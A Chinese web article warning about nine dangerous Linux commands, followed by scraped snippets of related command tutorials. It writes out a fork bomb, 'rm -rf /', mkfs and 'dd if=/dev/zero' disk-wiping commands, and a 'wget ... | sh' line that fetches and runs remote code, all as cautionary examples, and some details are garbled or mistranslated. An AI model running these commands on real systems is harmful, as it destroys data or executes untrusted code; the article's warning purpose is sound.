9个Linux需要慎用命令汇总

   还有一些事情需要注意一些命令只在Ubuntu中有sudo前缀时是有危害的。其他发行版本的Linux则是在作为根目录命令时会有危害。

  1、Linux Fork Bomb Command

  : (){ :: & };:以Fork Bomb闻名是一个拒绝服务攻击的Linux系统。: (){ :: & };:是一个bash函数。只要被执行他会不断重复直到系统被冻结。

  你只能重启系统解决这个问题。所以当你在Linux界面执行这个命令时一定要注意。

  2、Mv Folder/Dev/Null Command

  mv folder/dev/null也是一个危险的命令。Dev/null或者null device是一个删除所有写在这个设备文件上数据的设备文件但是该操作提示却是写入操作执行成功。这就是我们常说的bit bucked或者black hole。

  3、Rm -Rf Command

  rm -rf命令在Linux系统中可以快速删除文件夹及其内容。如果你不知道如何正确使用它你就只有哭了。

  以下为m-rf命令最常见的组合和选择

  rm command删除Linux系统的文件

  rm -f command不需提示删除文件中的只读文件

  rm -r command循环删除文件夹的内容

  rm -d command删除空目录如果非空目录则不会执行该操作

  rm -rf/ command强制删除根目录中的所有内容和子文件夹(包括写保护文件)命令

  rm -rf* command强制删除当前目录中的所有内容(当前工作目录)和字文件夹

  rm -rf. command强制删除当前文件夹目录/子目录中的所有内容。同rm -r.[^.]*

  The rm -r.[^.]* command删除文件及文件夹带有删除提示

  4、Mkfs Command

  如果你不知mkfs的作用那么它也是一个危险的命令mkfs之后写的任何命令都将会被一个空白的linux文件系统格式化、替代。

  下面列举出需要管理员权限格式化硬盘的命令

  mkfs

  mkfs.ext3

  mkfs.bfs

  mkfs.ext2

  mkfs.minix

  mkfs.msdos mkfs.reiserfs

  mkfs.vfat

  mkfs.cramfs也可以和上面的代码做同样的事情不过不需要管理源权限。

  5、Tar Bomb

  tar命令用于将多个文件以.tar格式放入一个文件中(存档文件)。Tape Archive (Tar) bomb可以由他创建。

  当为压缩时就是这个存档文件生成数以万计的相似名称文件出现在当前目录中而不是新目录。

  当收到tar文件定期创建一个新的保护目录然后在解压前将接受的tar文件放到这个目录中你可以避免成为tar bomb的受害者。

  6、Dd Command

  Dd命令用于复制&改变硬盘分区。如果你用错地方了那么也很危险。

  下面列举dd命令

  dd if=/dev/hda of=/dev/hdb

  dd if=/dev/hda of=/dev/sdb

  dd if=something of=/dev/hda

  dd if=something of=/dev/sda

  下面这个命令会将整个主硬盘清零dd if=/dev/zero of=/dev/had

  7、Shell Script Code

  有时候你可能会被人坑给你一个shell脚本文件让你去下载并执行它。该脚本可能会包含一些恶意的或危险的代码。命令形式可能会是这样wget http://some_malicious_source -O- sh。wget将会在sh狭隘脚本时下载脚本。

  8、Malicious Source Code

  也许有人会给你源代码让你编译他。代码可能是正常代码不过有一些恶意代码伪装在大型源代码中如果是这样你的系统就中枪了。如何避免?仅接受并编译可信赖来源的源代码。

  9、Decompression Bomb

  你已经收到一个压缩文件你被要求提取这个看起来很小的文件可能小到KB。事实上该小尺寸的压缩文件包含高度压缩数据。

  只要文件解压上百GB数据会被提取这时候过大的数据填满硬盘导致宕机几率就很大了。如何避免?还是那句老话别手贱什么文件都去接收请接收可信任来源文件。

时间: 2024-11-03 08:32:15

9个Linux需要慎用命令汇总的相关文章

Linux常用搜索命令汇总

  如何让迅速查找文件? Linux这个词本身只表示Linux内核,但实际上人们已经习惯了用Linux来形容整个基于Linux内核,并且使用GNU 工程各种工具和数据库的操作系统.Linux的基本思想有两点:第一,一切都是文件;第二,每个软件都有确定的用途. 下面,我们就来看看Linux常用搜索命令汇总. 1. find find是最常见和最强大的查找命令,你可以用它找到任何你想找的文件.find命令可在使用.管理Linux系统中方便地查找所需要的指定文件. find的使用格式如下: $ fin

linux打包压缩命令汇总

tar命令 [root@linux ~]# tar [-cxtzjvfpPN] 文件与目录 ....参数:-c :建立一个压缩文件的参数指令(create 的意思):-x :解开一个压缩文件的参数指令!-t :查看 tarfile 里面的文件!特别注意,在参数的下达中, c/x/t 仅能存在一个!不可同时存在!因为不可能同时压缩与解压缩.-z :是否同时具有 gzip 的属性?亦即是否需要用 gzip 压缩?-j :是否同时具有 bzip2 的属性?亦即是否需要用 bzip2 压缩?-v :压缩

Linux常用命令汇总

1.获取文件全路径每次拼凑路径比较麻烦,希望一个命令能给出包含机器名的完整路径:$ ls | sed "s:^:`pwd`/:" | sed "s/^/$HOSTNAME:/g" [root@test1 test]# ls | sed "s:^:`pwd`/:" | sed "s/^/$HOSTNAME:/g" test1:/root/test/t_t_20090301032655ttxttest1:/root/test/t_

linux网络操作相关命令汇总_unix linux

linux操作相关命令汇总的github地址:https://github.com/zhwj184/shell-work 复制代码 代码如下: #/bin/sh #查看http请求的header tcpdump -s 1024 -l -A -n host 192.168.9.56 tcpdump -s 1024 -l -A src 192.168.9.56 or dst 192.168.9.56 sudo tcpdump -A -s 1492 dst port 80 #本地网络中IP地址为192

Linux企业运维人员最常用150个命令汇总

命令 功能说明 线上查询及帮助命令(2个) man 查看命令帮助,命令的词典,更复杂的还有info,但不常用. help 查看Linux内置命令的帮助,比如cd命令. 文件和目录操作命令(18个) ls 全拼list,功能是列出目录的内容及其内容属性信息. cd 全拼change directory,功能是从当前工作目录切换到指定的工作目录. cp 全拼copy,其功能为复制文件或目录. find 查找的意思,用于查找目录及目录下的文件. mkdir 全拼make directories,其功能

Linux平台php命令行程序处理管道数据的方法_php技巧

本文实例讲述了Linux平台php命令行程序处理管道数据的方法.分享给大家供大家参考,具体如下: linux下有一个强大的命令|(管道提示符).它的作用是将前一个命令的结果交给后一条命令并作为后一条命令的输入.而linux下的大多数命令 也都支持这种方式.可是当笔者写完一个php的命令行小程序以后,对于怎样获得前一个命令的结果却陷入了僵局.难道php不支持这样的操作? 于是又开始问google大叔.找来找去,都是说php的命令行模式是怎么回事儿,也没有和我想知道的问题相关的资料.难道是俺的关键字

Linux 中 df 命令的11个例子

df 即"可用磁盘"disk free,用于显示文件系统的磁盘使用情况.默认情况下 df 命令将以每块 1K 的单位进行显示所有当前已挂载的文件系统,如果你想以人类易读的格式显示 df 命令的输出,像这样"df -h"使用 -h 选项. 在这篇文章中,我们将讨论 df 命令在 Linux 下11种不同的实例. 在 Linux 下 df 命令的基本格式为: # df {options} {mount_point_of_filesystem} 在 df 命令中可用的选项

十项Linux安全管理技巧经验汇总

此文章主要向大家描述的是十项Linux安全管理技巧的经验汇总,以及正确保证Linux操作系统的安全将面临最 新的挑战.同时文章也介绍了一系列实用的Linux安全管理经验,以下就是相关内容的具体描述.由于Linux操作系统是一个开放源代码的免费操作系统,因此受到越来越多用户的欢迎.随着Linux操作系统在我国的不断普及,有关的政府部门更是将基于Linux开发具有自主 版权的操作系统提高到保卫国家信息安全的高度来 看待,因此我们不难预测今后Linux操作系统在我国将得到更快更大的发展.虽然Linux

Linux中常用命令

一.Linux下常用命令:文件与目录操作 basename:从文件名中去掉路径和扩展名 cd:切换当前工作目录到指定目录 chgrp:改变文件所属组 chmod:改变文件的权限 chown:改变文件的所有者和组 cp:复制文件或目录 dd:复制文件并转换文件内容 file:确定文件类型 find:在指定目录下查找文件并执行指定的操作 ln:创建文件链接 locate/slocate:快速定位文件的路径 ls/dir/vdir:显示目录内容 mkdir:创建目录 mv:移动或重命名文件 pwd:显